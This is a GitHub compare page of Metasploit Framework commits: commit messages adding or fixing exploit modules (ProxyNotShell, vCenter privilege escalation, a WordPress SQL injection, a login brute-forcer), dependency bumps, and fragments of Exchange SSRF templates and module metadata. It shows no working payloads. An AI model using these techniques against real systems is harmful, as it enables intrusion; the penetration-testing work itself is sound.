Compare commits

...

116 Commits

Author SHA1 Message Date
Metasploit 28cf7ea55c automatic module_metadata_base.json update 2022-12-08 10:13:08 -06:00
Spencer McIntyre dd3decb436 Land #17342, Use LDAP_SERVER_SD_FLAGS_OID flag
Use LDAP_SERVER_SD_FLAGS_OID flag to prevent retrieving SACL as a non-admin user
2022-12-08 10:47:55 -05:00
Spencer McIntyre 2fc8b0a7a6 Add GitHub refereces to the patch details 2022-12-08 10:47:44 -05:00
Grant Willcox e7b20ad155 Add in monkey patch to the search method of Net::LDAP::Connection to allow us to use controls when search whilst we await an upstream patch in Net::LDAP 2022-12-07 15:17:52 -06:00
Jeffrey Martin 115946cd06 Land #17339, Weekly dependency updates for Gemfile.lock 2022-12-07 15:13:39 -06:00
Grant Willcox 77bda68932 Add in more constants for the SCAL flags and use them to make the code easier to read 2022-12-07 10:48:07 -06:00
Grant Willcox e7d72e0ecf Allow multiple controls to be specified 2022-12-06 23:21:48 -06:00
Grant Willcox fd8bdf4daf Make sure we use the LDAP_SERVER_SD_FLAGS_OID flag and set it to 7 when retrieving entries so that we don't retrieve the SACL, which cannot be retrieved by nonadmin users. 2022-12-06 22:54:03 -06:00
Metasploit 8fbb4d2fde automatic module_metadata_base.json update 2022-12-06 09:03:45 -06:00
Christophe De La Fuente e7e2849f6d Land #17183, Zimbra fixes 2022-12-06 15:38:37 +01:00
Christophe De La Fuente ddaf5a3f0d Remove unecessary return statement 2022-12-06 15:07:28 +01:00
Metasploit ef31ab861f automatic module_metadata_base.json update 2022-12-06 07:27:30 -06:00
Christophe De La Fuente aaef7726db Land #17330, Fix enumerating emails via ProxyShell 2022-12-06 14:02:53 +01:00
Metasploit 009fd0deb5 automatic module_metadata_base.json update 2022-12-05 15:30:44 -06:00
Grant Willcox d48319a867 Land #17242, Add Gather Module for WP BookingPress Plugin unauth SQLi (CVE-2022-0739) 2022-12-05 15:04:31 -06:00
Grant Willcox 89009fa66e Bump dependency versions 2022-12-05 14:48:02 -06:00
Grant Willcox cb68c255bb Fix up issues from review 2022-12-05 14:17:43 -06:00
Redouane NIBOUCHA 4b008d6ea8 revert the identify_hash line 2022-12-05 14:17:39 -06:00
Redouane NIBOUCHA 41edc92d5d Update wp_bookingpress_category_services_sqli to use the SQLi library 2022-12-05 14:17:31 -06:00
Grant Willcox 1fec75621c Fix up documentation from review 2022-12-05 14:04:22 -06:00
Jack Heysel f29b4fad75 Add Gather Module for WP BookingPress Plugin SQLi (CVE-2022-0739) 2022-12-05 14:04:03 -06:00
Metasploit e08b426537 automatic module_metadata_base.json update 2022-12-05 13:19:21 -06:00
bwatters 37540572e0 Land #17214, add database functionality to vcenter post module
Merge branch 'land-17214' into upstream-master
2022-12-05 12:50:14 -06:00
Metasploit 2e4be42f57 automatic module_metadata_base.json update 2022-12-05 09:55:47 -06:00
bwatters 54cd055276 Land #17286, CVE-2021-22015 vCenter priv esc
Merge branch 'land-17286' into upstream-master
2022-12-05 09:31:01 -06:00
Metasploit 085456eeaf automatic module_metadata_base.json update 2022-12-05 08:07:19 -06:00
Christophe De La Fuente 6e7d4edf02 Land #16990, Syncovery for Linux - Login brute-force utility 2022-12-05 14:39:29 +01:00
cgranleese-r7 8e9e8468f2 Land #17338, Lint modules 2022-12-05 13:17:40 +00:00
adfoster-r7 7a46cff0a1 Land #17305, Adds support to RPC for automatically choosing module payload defaults 2022-12-05 12:59:21 +00:00
Metasploit dc604f1fcf automatic module_metadata_base.json update 2022-12-05 06:31:39 -06:00
cgranleese-r7 4e539df3c3 Adds support to find default payloads 2022-12-05 11:52:11 +00:00
adfoster-r7 0d3c1dc122 Land #17333, Fix typos: Replace 'the the' with 'the' 2022-12-05 11:46:27 +00:00
adfoster-r7 a4aff6537d Land #17332, enum_proxy - Cleanup and support non-Meterpreter sessions 2022-12-05 11:43:55 +00:00
adfoster-r7 14d05c9c6c Lint modules 2022-12-05 10:41:31 +00:00
bcoles c1ff9337c8 dnn_cookie_deserialization_rce: Remove empty 'Payload' Hash key 2022-12-04 17:50:24 +11:00
bcoles 431804ef15 Fix typos: Replace 'the the' with 'the' 2022-12-04 17:41:24 +11:00
bcoles d90dee8235 enum_proxy: Cleanup and support non-Meterpreter sessions 2022-12-04 15:10:47 +11:00
Spencer McIntyre 96da805014 Fix enumerating emails via ProxyShell
The ResolveNames endpoint used to gather emails addresses for targeting
only returns 100 at a time. This updates the module to check if the
search result contains all entries and when it does, it recurses into
itself with a refined search prefix. All results are returned to match
the original functionality instead of enumerating and halting once one
that's suitable for exploitation has been found.
2022-12-02 15:58:50 -05:00
whoot b32ec581d8 apply suggestions 2022-12-02 10:33:25 +01:00
Metasploit 364fb85e1d automatic module_metadata_base.json update 2022-12-01 16:30:42 -06:00
Jack Heysel 271588bde9 Merge branch 'master' of github.com:rapid7/metasploit-framework into upstream-master 2022-12-01 17:06:48 -05:00
Jack Heysel 04dc8e8455 Land #17310, update checkvm post module
Add notes and add powershell to supported SessionTypes
2022-12-01 17:05:09 -05:00
Metasploit a649c5b9d1 automatic module_metadata_base.json update 2022-12-01 15:54:53 -06:00
h00die 7ec7cdfb97 fix vcenter spec error 2022-12-01 16:43:58 -05:00
adfoster-r7 4207449382 Land #17323, fix enlightenment check method 2022-12-01 20:26:16 +00:00
h00die 867059efe5 add super to cleanup command 2022-12-01 14:55:43 -05:00
h00die 62b484fdc7 blank over empty 2022-12-01 14:34:09 -05:00
Metasploit fbc842693f Bump version of framework to 6.2.30 2022-12-01 12:10:26 -06:00
Metasploit 03bb062c2e automatic module_metadata_base.json update 2022-12-01 09:50:22 -06:00
bwatters dcff4d37b6 Land #17163, Pfsense PfBlockerNG RCE module check method improvement
Merge branch 'land-17163' into upstream-master
2022-12-01 09:25:18 -06:00
Metasploit b9c18de4fe automatic module_metadata_base.json update 2022-11-30 16:55:15 -06:00
adfoster-r7 13ab155545 Land #17322, fix OpoenOffice description typo 2022-11-30 22:31:53 +00:00
h00die 039b611fae fix enlightenment check method 2022-11-30 17:06:50 -05:00
Maik Ro 330cb2944b fix typo
OptString.new('FILENAME', [true, 'The OpoenOffice Text document name', 'msf.odt']) -> OpoenOffice changed to OpenOffice
2022-11-30 22:10:18 +01:00
Metasploit 07a91df7a1 automatic module_metadata_base.json update 2022-11-30 11:43:21 -06:00
Christophe De La Fuente d3057f15b2 Land #17275, Add Exploit For CVE-2022-41082 (ProxyNotShell) 2022-11-30 18:16:19 +01:00
bcoles 60180a4442 checkvm: Add notes and add powershell to supported SessionTypes 2022-11-29 21:28:15 +11:00
Metasploit 35bbfc8af4 automatic module_metadata_base.json update 2022-11-28 15:47:01 -06:00
Spencer McIntyre 8ea8e2410d Land #17299, Fixes #17227
Fixes #17227 - polkit_dbus_auth_bypass module when run from a command…
2022-11-28 16:22:52 -05:00
Metasploit 8a66a359a6 automatic module_metadata_base.json update 2022-11-28 15:16:21 -06:00
Jack Heysel 5d3cfa69b8 Land #17210, add ParseError rescue to snmp modules
snmp_enum, snmp_enumshares and snmp_enumusers now rescue
SNMP ParseErrors
2022-11-28 15:37:02 -05:00
bwatters 3462dc6bf4 Land #17087, remote control collection rce
Merge branch 'land-17087' into upstream-master
2022-11-28 14:29:52 -06:00
Spencer McIntyre 264d45e04a Appease rubocop 2022-11-28 10:16:55 -05:00
Spencer McIntyre f24df8a051 Change an exception class and drop DOMAIN passing 2022-11-28 10:06:14 -05:00
Spencer McIntyre 009c6c5350 Add the MaxBackendRetries datastore option 2022-11-28 09:45:04 -05:00
Metasploit c49dd0b6cd automatic module_metadata_base.json update 2022-11-27 14:27:39 -06:00
adfoster-r7 de75f0ecbe Land #17304, added target uri in to "Authorization not requested" error message 2022-11-27 20:04:00 +00:00
omer citak 9aa1a84b3a added target uri in to "Authorization not requested" error message 2022-11-27 15:35:34 +03:00
Ashley Donaldson 638a1c8f78 Prevent double-delimiter situations in general 2022-11-25 15:32:55 +11:00
Ashley Donaldson 25a0d0ff0e Fixes #17227 - polkit_dbus_auth_bypass module when run from a command shell 2022-11-25 15:13:57 +11:00
adfoster-r7 c218063a1a Land #17280, Weekly dependency updates for Gemfile.lock 2022-11-24 23:11:49 +00:00
Metasploit ed954eec0c Bump version of framework to 6.2.29 2022-11-24 12:09:06 -06:00
Ron Bowes b7cf112d42 Fix an issue where the session handler would close too early on Zimbra modules 2022-11-23 13:09:47 -08:00
Ron Bowes ffbf8b303a Change a 'return 0' to 'fail_with', per Christophe's request 2022-11-23 12:51:51 -08:00
Ron Bowes 28a68ede8c Merge branch 'master' into zimbra-fixes 2022-11-23 12:50:56 -08:00
Spencer McIntyre 3805a79079 Add support for Exchange Data Access Group (DAG)
This updates the HttpSsrf class to retry requests to the Powershell
backend when they fail because they were routed to a new server. Now
when the transport is initialized, it will store the backend used by the
first successful request.
2022-11-23 15:37:58 -05:00
Spencer McIntyre 3f58bfe11e Check that the target is Exchange Server 2019 2022-11-23 10:47:10 -05:00
h00die 7227bec259 set autocheck false 2022-11-21 15:53:37 -05:00
bwatters 8c9e2c9fc7 Add check method, update hosting IP/port 2022-11-21 15:53:37 -05:00
h00die d141efcbfe screen effects 2022-11-21 15:53:37 -05:00
h00die 181b8e4eea review comments 2022-11-21 15:53:37 -05:00
h00die d4536b24a6 remote control collection rce 2022-11-21 15:53:37 -05:00
Spencer McIntyre ed99f2f67f Bypass EEMS M1 2022-11-21 11:13:16 -05:00
h00die 6877304bac exploit for cve-2021-22015 vcenter priv esc 2022-11-20 11:29:49 -05:00
h00die 5e93ed3bae explicit check of CVE-2022-22948 2022-11-19 10:37:36 -05:00
h00die 40f97995f8 review comment 2022-11-19 10:37:36 -05:00
h00die f12c660652 review comments 2022-11-19 10:37:36 -05:00
h00die 7a795c5adb docs 2022-11-19 10:37:36 -05:00
h00die 9a19c4411d wrap up module additions 2022-11-19 10:37:36 -05:00
h00die dff9b35d56 add database stuff to vcenter post module 2022-11-19 10:37:36 -05:00
Spencer McIntyre bc89721d7a Add module docs, fix ProxyShell versions 2022-11-18 17:42:27 -05:00
Jeffrey Martin f6bdbbd359 Weekly dependency updates for Gemfile.lock 2022-11-18 16:24:55 -06:00
Spencer McIntyre 29d57dde66 Consolidate into ProxyMaybeShell 2022-11-18 17:01:01 -05:00
Spencer McIntyre fc7594dbc8 Add exploit for CVE-2022-41082 AKA ProxyNotShell 2022-11-18 17:00:27 -05:00
ErikWynter 771b66f570 update fork and rebase feature branch 2022-11-03 12:07:08 +02:00
ErikWynter 0065cff169 add rescuing for SNMP::ParseError to snmp enum modules 2022-11-03 12:04:33 +02:00
Ron Bowes 4624031aec Remove errant puts 2022-10-25 10:21:47 -07:00
Ron Bowes 4979c0b74f Add a check to the cve-2022-30333 module for Zimbra that aborts before generating artifacts if the server cannot be reached 2022-10-25 10:05:16 -07:00
Ron Bowes ab2042f34e Add patch notes to the Slapper module documentation 2022-10-25 10:04:52 -07:00
Ron Bowes 3ac3fa6c32 Move the Zimbra Slapper doc to the right folder (Windows -> Linux) 2022-10-25 09:51:27 -07:00
Jack Heysel d6f27a8a71 Used vuln to remove test webshell in check method 2022-10-24 14:17:21 -04:00
Jack Heysel 11936affd1 Rubocop 2022-10-19 22:07:50 -04:00
Jack Heysel b60b440697 Check method improvement 2022-10-19 22:03:43 -04:00
Jan Rude 62e0500729 Update syncovery_file_sync_backup.rb 2022-09-16 13:38:37 +02:00
jrude 8f6fd55d9f add review suggestions 2022-09-16 13:34:06 +02:00
Jan Rude 2fc637438f use safe navigation operator
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-16 11:25:04 +02:00
Jan Rude 8332bff1d8 use correct if statement
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-16 11:21:35 +02:00
Jan Rude 2eb4c27d0c remove unused proof
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-16 11:21:11 +02:00
Jan Rude fa2f2e6d5d linting
This is getting ridiculous...
2022-09-08 19:51:56 +02:00
Jan Rude 25757d45be linting again... 2022-09-08 19:36:17 +02:00
jrude 9ce9c63a03 use json 2022-09-08 19:24:41 +02:00
Jan Rude 3179fc11b3 use json parser
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2022-09-08 17:55:48 +02:00
Jan Rude 8ba86a646c linting 2022-09-08 11:28:27 +02:00
Jan Rude b0a6c60684 linting 2022-09-08 11:15:08 +02:00
Jan Rude 9cb136a209 Wording 2022-09-07 13:15:36 +02:00
jrude 1757a5dedf Syncovery login brute-force utility 2022-09-07 12:46:32 +02:00
72 changed files with 3793 additions and 770 deletions
+57 -57
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.2.28)
metasploit-framework (6.2.30)
actionpack (~> 6.0)
activerecord (~> 6.0)
activesupport (~> 6.0)
@@ -128,30 +128,30 @@ GEM
activerecord (>= 3.1.0, < 8)
ast (2.4.2)
aws-eventstream (1.2.0)
aws-partitions (1.648.0)
aws-sdk-core (3.162.0)
aws-partitions (1.671.0)
aws-sdk-core (3.168.3)
aws-eventstream (~> 1, >= 1.0.2)
aws-partitions (~> 1, >= 1.525.0)
aws-sigv4 (~> 1.1)
aws-partitions (~> 1, >= 1.651.0)
aws-sigv4 (~> 1.5)
jmespath (~> 1, >= 1.6.1)
aws-sdk-ec2 (1.341.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sdk-ec2 (1.354.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.71.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sdk-iam (1.73.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sigv4 (~> 1.1)
aws-sdk-kms (1.58.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sdk-kms (1.60.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sigv4 (~> 1.1)
aws-sdk-s3 (1.115.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sdk-s3 (1.117.2)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.4)
aws-sigv4 (1.5.2)
aws-eventstream (~> 1, >= 1.0.2)
bcrypt (3.1.18)
bcrypt_pbkdf (1.1.0)
bindata (2.4.13)
bindata (2.4.14)
bson (4.15.0)
builder (3.2.4)
byebug (11.1.3)
@@ -160,8 +160,8 @@ GEM
cookiejar (0.3.3)
crass (1.0.6)
daemons (1.4.1)
debug (1.6.2)
irb (>= 1.3.6)
debug (1.7.0)
irb (>= 1.5.0)
reline (>= 0.3.1)
diff-lcs (1.5.0)
dnsruby (1.61.9)
@@ -185,12 +185,12 @@ GEM
factory_bot_rails (6.2.0)
factory_bot (~> 6.2.0)
railties (>= 5.0.0)
faker (2.23.0)
faker (3.0.0)
i18n (>= 1.8.11, < 2)
faraday (2.6.0)
faraday (2.7.1)
faraday-net_http (>= 2.0, < 3.1)
ruby2_keywords (>= 0.0.4)
faraday-net_http (3.0.1)
faraday-net_http (3.0.2)
faraday-retry (2.0.0)
faraday (~> 2.0)
faye-websocket (0.11.1)
@@ -216,12 +216,12 @@ GEM
i18n (1.12.0)
concurrent-ruby (~> 1.0)
io-console (0.5.11)
irb (1.4.2)
irb (1.5.1)
reline (>= 0.3.0)
jmespath (1.6.1)
jmespath (1.6.2)
jsobfu (0.4.2)
rkelly-remix
json (2.6.2)
json (2.6.3)
little-plugger (1.1.4)
logging (2.3.1)
little-plugger (~> 1.1)
@@ -229,13 +229,13 @@ GEM
loofah (2.19.0)
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
memory_profiler (1.0.0)
memory_profiler (1.0.1)
metasm (1.0.5)
metasploit-concern (4.0.5)
activemodel (~> 6.0)
activesupport (~> 6.0)
railties (~> 6.0)
metasploit-credential (5.0.9)
metasploit-credential (6.0.0)
metasploit-concern
metasploit-model
metasploit_data_models (>= 5.0.0)
@@ -250,7 +250,7 @@ GEM
activesupport (~> 6.0)
railties (~> 6.0)
metasploit-payloads (2.0.101)
metasploit_data_models (5.0.5)
metasploit_data_models (5.0.6)
activerecord (~> 6.0)
activesupport (~> 6.0)
arel-helpers
@@ -258,7 +258,7 @@ GEM
metasploit-model (>= 3.1)
pg
railties (~> 6.0)
recog (~> 2.0)
recog
webrick
metasploit_payloads-mettle (1.0.20)
method_source (1.0.0)
@@ -271,9 +271,9 @@ GEM
ruby2_keywords (~> 0.0.1)
nessus_rest (0.1.6)
net-ldap (0.17.1)
net-protocol (0.1.3)
net-protocol (0.2.0)
timeout
net-smtp (0.3.2)
net-smtp (0.3.3)
net-protocol
net-ssh (7.0.1)
network_interface (0.0.2)
@@ -292,17 +292,17 @@ GEM
packetfu (1.1.13)
pcaprub
parallel (1.22.1)
parser (3.1.2.1)
parser (3.1.3.0)
ast (~> 2.4.1)
patch_finder (1.0.2)
pcaprub (0.13.1)
pdf-reader (2.10.0)
pdf-reader (2.11.0)
Ascii85 (~> 1.0)
afm (~> 0.2.1)
hashery (~> 2.0)
ruby-rc4
ttfunk
pg (1.4.4)
pg (1.4.5)
pry (0.13.1)
coderay (~> 1.1)
method_source (~> 1.0)
@@ -312,9 +312,9 @@ GEM
public_suffix (5.0.0)
puma (6.0.0)
nio4r (~> 2.0)
racc (1.6.0)
racc (1.6.1)
rack (2.2.4)
rack-protection (3.0.2)
rack-protection (3.0.4)
rack
rack-test (2.0.2)
rack (>= 1.3)
@@ -332,10 +332,10 @@ GEM
rainbow (3.1.1)
rake (13.0.6)
rb-readline (0.5.5)
recog (2.3.23)
recog (3.0.3)
nokogiri
redcarpet (3.5.1)
regexp_parser (2.6.0)
regexp_parser (2.6.1)
reline (0.3.1)
io-console (~> 0.5)
rex-arch (0.1.14)
@@ -388,18 +388,18 @@ GEM
rex-text
rexml (3.2.5)
rkelly-remix (0.0.7)
rspec (3.11.0)
rspec-core (~> 3.11.0)
rspec-expectations (~> 3.11.0)
rspec-mocks (~> 3.11.0)
rspec-core (3.11.0)
rspec-support (~> 3.11.0)
rspec-expectations (3.11.1)
rspec (3.12.0)
rspec-core (~> 3.12.0)
rspec-expectations (~> 3.12.0)
rspec-mocks (~> 3.12.0)
rspec-core (3.12.0)
rspec-support (~> 3.12.0)
rspec-expectations (3.12.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.11.0)
rspec-mocks (3.11.1)
rspec-support (~> 3.12.0)
rspec-mocks (3.12.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.11.0)
rspec-support (~> 3.12.0)
rspec-rails (6.0.1)
actionpack (>= 6.1)
activesupport (>= 6.1)
@@ -410,25 +410,25 @@ GEM
rspec-support (~> 3.11)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.11.1)
rubocop (1.37.0)
rspec-support (3.12.0)
rubocop (1.39.0)
json (~> 2.3)
parallel (~> 1.10)
parser (>= 3.1.2.1)
rainbow (>= 2.2.2, < 4.0)
regexp_parser (>= 1.8, < 3.0)
rexml (>= 3.2.5, < 4.0)
rubocop-ast (>= 1.22.0, < 2.0)
rubocop-ast (>= 1.23.0, < 2.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 1.4.0, < 3.0)
rubocop-ast (1.22.0)
rubocop-ast (1.24.0)
parser (>= 3.1.1.0)
ruby-macho (3.0.0)
ruby-prof (1.4.2)
ruby-progressbar (1.11.0)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.5)
ruby_smb (3.2.0)
ruby_smb (3.2.1)
bindata
openssl-ccm
openssl-cmac
@@ -445,12 +445,12 @@ GEM
simplecov-html (0.12.3)
simpleidn (0.2.1)
unf (~> 0.1.4)
sinatra (3.0.2)
sinatra (3.0.4)
mustermann (~> 3.0)
rack (~> 2.2, >= 2.2.4)
rack-protection (= 3.0.2)
rack-protection (= 3.0.4)
tilt (~> 2.0)
sqlite3 (1.5.3)
sqlite3 (1.5.4)
mini_portile2 (~> 2.8.0)
sshkey (2.0.0)
swagger-blocks (3.0.0)
@@ -460,12 +460,12 @@ GEM
rack (>= 1, < 3)
thor (1.2.1)
tilt (2.0.11)
timecop (0.9.5)
timeout (0.3.0)
timecop (0.9.6)
timeout (0.3.1)
ttfunk (1.7.0)
tzinfo (2.0.5)
concurrent-ruby (~> 1.0)
tzinfo-data (1.2022.5)
tzinfo-data (1.2022.7)
tzinfo (>= 1.0.0)
unf (0.1.4)
unf_ext
@@ -496,7 +496,7 @@ GEM
webrick
yard (0.9.28)
webrick (~> 1.7.0)
zeitwerk (2.6.1)
zeitwerk (2.6.6)
PLATFORMS
ruby
+33 -33
View File
@@ -10,16 +10,16 @@ afm, 0.2.2, MIT
arel-helpers, 2.14.0, MIT
ast, 2.4.2, MIT
aws-eventstream, 1.2.0, "Apache 2.0"
aws-partitions, 1.648.0, "Apache 2.0"
aws-sdk-core, 3.162.0, "Apache 2.0"
aws-sdk-ec2, 1.341.0, "Apache 2.0"
aws-sdk-iam, 1.71.0, "Apache 2.0"
aws-sdk-kms, 1.58.0, "Apache 2.0"
aws-sdk-s3, 1.115.0, "Apache 2.0"
aws-partitions, 1.663.0, "Apache 2.0"
aws-sdk-core, 3.168.0, "Apache 2.0"
aws-sdk-ec2, 1.350.0, "Apache 2.0"
aws-sdk-iam, 1.73.0, "Apache 2.0"
aws-sdk-kms, 1.59.0, "Apache 2.0"
aws-sdk-s3, 1.117.1, "Apache 2.0"
aws-sigv4, 1.5.2, "Apache 2.0"
bcrypt, 3.1.18, MIT
bcrypt_pbkdf, 1.1.0, MIT
bindata, 2.4.13, ruby
bindata, 2.4.14, ruby
bson, 4.15.0, "Apache 2.0"
builder, 3.2.4, MIT
bundler, 2.1.4, MIT
@@ -29,7 +29,7 @@ concurrent-ruby, 1.0.5, MIT
cookiejar, 0.3.3, unknown
crass, 1.0.6, MIT
daemons, 1.4.1, MIT
debug, 1.6.2, "ruby, Simplified BSD"
debug, 1.6.3, "ruby, Simplified BSD"
diff-lcs, 1.5.0, "MIT, Artistic-2.0, GPL-2.0+"
dnsruby, 1.61.9, "Apache 2.0"
docile, 1.4.0, MIT
@@ -41,9 +41,9 @@ erubi, 1.11.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 6.2.1, MIT
factory_bot_rails, 6.2.0, MIT
faker, 2.23.0, MIT
faraday, 2.6.0, MIT
faraday-net_http, 3.0.1, MIT
faker, 3.0.0, MIT
faraday, 2.7.1, MIT
faraday-net_http, 3.0.2, MIT
faraday-retry, 2.0.0, MIT
faye-websocket, 0.11.1, "Apache 2.0"
ffi, 1.15.5, "New BSD"
@@ -59,21 +59,21 @@ http_parser.rb, 0.8.0, MIT
httpclient, 2.8.3, ruby
i18n, 1.12.0, MIT
io-console, 0.5.11, "ruby, Simplified BSD"
irb, 1.4.2, "ruby, Simplified BSD"
irb, 1.4.3, "ruby, Simplified BSD"
jmespath, 1.6.1, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.6.2, ruby
little-plugger, 1.1.4, MIT
logging, 2.3.1, MIT
loofah, 2.19.0, MIT
memory_profiler, 1.0.0, MIT
memory_profiler, 1.0.1, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 4.0.5, "New BSD"
metasploit-credential, 5.0.9, "New BSD"
metasploit-framework, 6.2.28, "New BSD"
metasploit-framework, 6.2.30, "New BSD"
metasploit-model, 4.0.6, "New BSD"
metasploit-payloads, 2.0.101, "3-clause (or ""modified"") BSD"
metasploit_data_models, 5.0.5, "New BSD"
metasploit_data_models, 5.0.6, "New BSD"
metasploit_payloads-mettle, 1.0.20, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
mini_portile2, 2.8.0, MIT
@@ -85,7 +85,7 @@ mustermann, 3.0.0, MIT
nessus_rest, 0.1.6, MIT
net-ldap, 0.17.1, MIT
net-protocol, 0.1.3, "ruby, Simplified BSD"
net-smtp, 0.3.2, "ruby, Simplified BSD"
net-smtp, 0.3.3, "ruby, Simplified BSD"
net-ssh, 7.0.1, MIT
network_interface, 0.0.2, MIT
nexpose, 7.3.0, "New BSD"
@@ -101,15 +101,15 @@ parallel, 1.22.1, MIT
parser, 3.1.2.1, MIT
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.1, LGPL-2.1
pdf-reader, 2.10.0, MIT
pg, 1.4.4, "Simplified BSD"
pdf-reader, 2.11.0, MIT
pg, 1.4.5, "Simplified BSD"
pry, 0.13.1, MIT
pry-byebug, 3.9.0, MIT
public_suffix, 5.0.0, MIT
puma, 6.0.0, "New BSD"
racc, 1.6.0, "ruby, Simplified BSD"
rack, 2.2.4, MIT
rack-protection, 3.0.2, MIT
rack-protection, 3.0.3, MIT
rack-test, 2.0.2, MIT
rails-dom-testing, 2.0.3, MIT
rails-html-sanitizer, 1.4.3, MIT
@@ -117,9 +117,9 @@ railties, 6.1.7, MIT
rainbow, 3.1.1, MIT
rake, 13.0.6, MIT
rb-readline, 0.5.5, BSD
recog, 2.3.23, unknown
recog, 3.0.3, unknown
redcarpet, 3.5.1, MIT
regexp_parser, 2.6.0, MIT
regexp_parser, 2.6.1, MIT
reline, 0.3.1, ruby
rex-arch, 0.1.14, "New BSD"
rex-bin_tools, 0.1.8, "New BSD"
@@ -141,29 +141,29 @@ rex-text, 0.2.46, "New BSD"
rex-zip, 0.1.4, "New BSD"
rexml, 3.2.5, "Simplified BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.11.0, MIT
rspec-core, 3.11.0, MIT
rspec-expectations, 3.11.1, MIT
rspec-mocks, 3.11.1, MIT
rspec, 3.12.0, MIT
rspec-core, 3.12.0, MIT
rspec-expectations, 3.12.0, MIT
rspec-mocks, 3.12.0, MIT
rspec-rails, 6.0.1, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.11.1, MIT
rubocop, 1.37.0, MIT
rubocop-ast, 1.22.0, MIT
rspec-support, 3.12.0, MIT
rubocop, 1.39.0, MIT
rubocop-ast, 1.23.0, MIT
ruby-macho, 3.0.0, MIT
ruby-prof, 1.4.2, "Simplified BSD"
ruby-progressbar, 1.11.0, MIT
ruby-rc4, 0.1.5, MIT
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
ruby_smb, 3.2.0, "New BSD"
ruby_smb, 3.2.1, "New BSD"
rubyntlm, 0.6.3, MIT
rubyzip, 2.3.2, "Simplified BSD"
sawyer, 0.9.2, MIT
simplecov, 0.18.2, MIT
simplecov-html, 0.12.3, MIT
simpleidn, 0.2.1, MIT
sinatra, 3.0.2, MIT
sqlite3, 1.5.3, "New BSD"
sinatra, 3.0.3, MIT
sqlite3, 1.5.4, "New BSD"
sshkey, 2.0.0, MIT
swagger-blocks, 3.0.0, MIT
thin, 1.8.1, "GPL-2.0+, ruby"
@@ -173,7 +173,7 @@ timecop, 0.9.5, MIT
timeout, 0.3.0, "ruby, Simplified BSD"
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
tzinfo, 2.0.5, MIT
tzinfo-data, 1.2022.5, MIT
tzinfo-data, 1.2022.6, MIT
unf, 0.1.4, "2-clause BSDL"
unf_ext, 0.0.8.2, MIT
unicode-display_width, 2.3.0, MIT
@@ -188,4 +188,4 @@ winrm, 2.3.6, "Apache 2.0"
xdr, 3.0.3, "Apache 2.0"
xmlrpc, 0.3.2, "ruby, Simplified BSD"
yard, 0.9.28, MIT
zeitwerk, 2.6.1, MIT
zeitwerk, 2.6.6, MIT
@@ -71,6 +71,8 @@
<B N="V"><%= arg[:value].to_s %></B>
<% elsif arg[:value].is_a? String %>
<S N="V"><%= arg[:value].encode(xml: :text) %></S>
<% elsif arg[:value].is_a? Nokogiri::XML::Element %>
<%= arg[:value].to_s %>
<% end %>
</MS>
</Obj>
@@ -8,7 +8,7 @@
</soap:Header>
<soap:Body>
<m:ResolveNames ReturnFullContactData="true" SearchScope="ActiveDirectory">
<m:UnresolvedEntry>SMTP:</m:UnresolvedEntry>
<m:UnresolvedEntry><%= name %></m:UnresolvedEntry>
</m:ResolveNames>
</soap:Body>
</soap:Envelope>
+2 -1
View File
@@ -54,4 +54,5 @@ easy-wp-smtp
duplicator_download
custom-registration-form-builder-with-submission-manager
woocommerce-abandoned-cart
elementor
elementor
bookingpress
+395 -42
View File
@@ -13777,7 +13777,7 @@
],
"targets": null,
"mod_time": "2022-01-23 15:28:32 +0000",
"mod_time": "2022-12-04 17:41:24 +0000",
"path": "/modules/auxiliary/dos/upnp/miniupnpd_dos.rb",
"is_install_path": true,
"ref_name": "dos/upnp/miniupnpd_dos",
@@ -15496,7 +15496,7 @@
"Lnk Creation Code by Mubix",
"asoto-r7"
],
"description": "This module dependent on the given filename extension creates either\n a .lnk, .scf, .url, .xml, or desktop.ini file which includes a reference\n to the the specified remote host, causing SMB connections to be initiated\n from any user that views the file.",
"description": "This module dependent on the given filename extension creates either\n a .lnk, .scf, .url, .xml, or desktop.ini file which includes a reference\n to the specified remote host, causing SMB connections to be initiated\n from any user that views the file.",
"references": [
"URL-https://malicious.link/blog/2012/02/11/ms08_068-ms10_046-fun-until-2018",
"URL-https://malicious.link/post/2012/2012-02-19-developing-the-lnk-metasploit-post-module-with-mona/",
@@ -15512,7 +15512,7 @@
],
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2022-12-04 17:41:24 +0000",
"path": "/modules/auxiliary/fileformat/multidrop.rb",
"is_install_path": true,
"ref_name": "fileformat/multidrop",
@@ -19696,7 +19696,7 @@
],
"targets": null,
"mod_time": "2022-11-14 12:27:38 +0000",
"mod_time": "2022-12-07 10:48:07 +0000",
"path": "/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb",
"is_install_path": true,
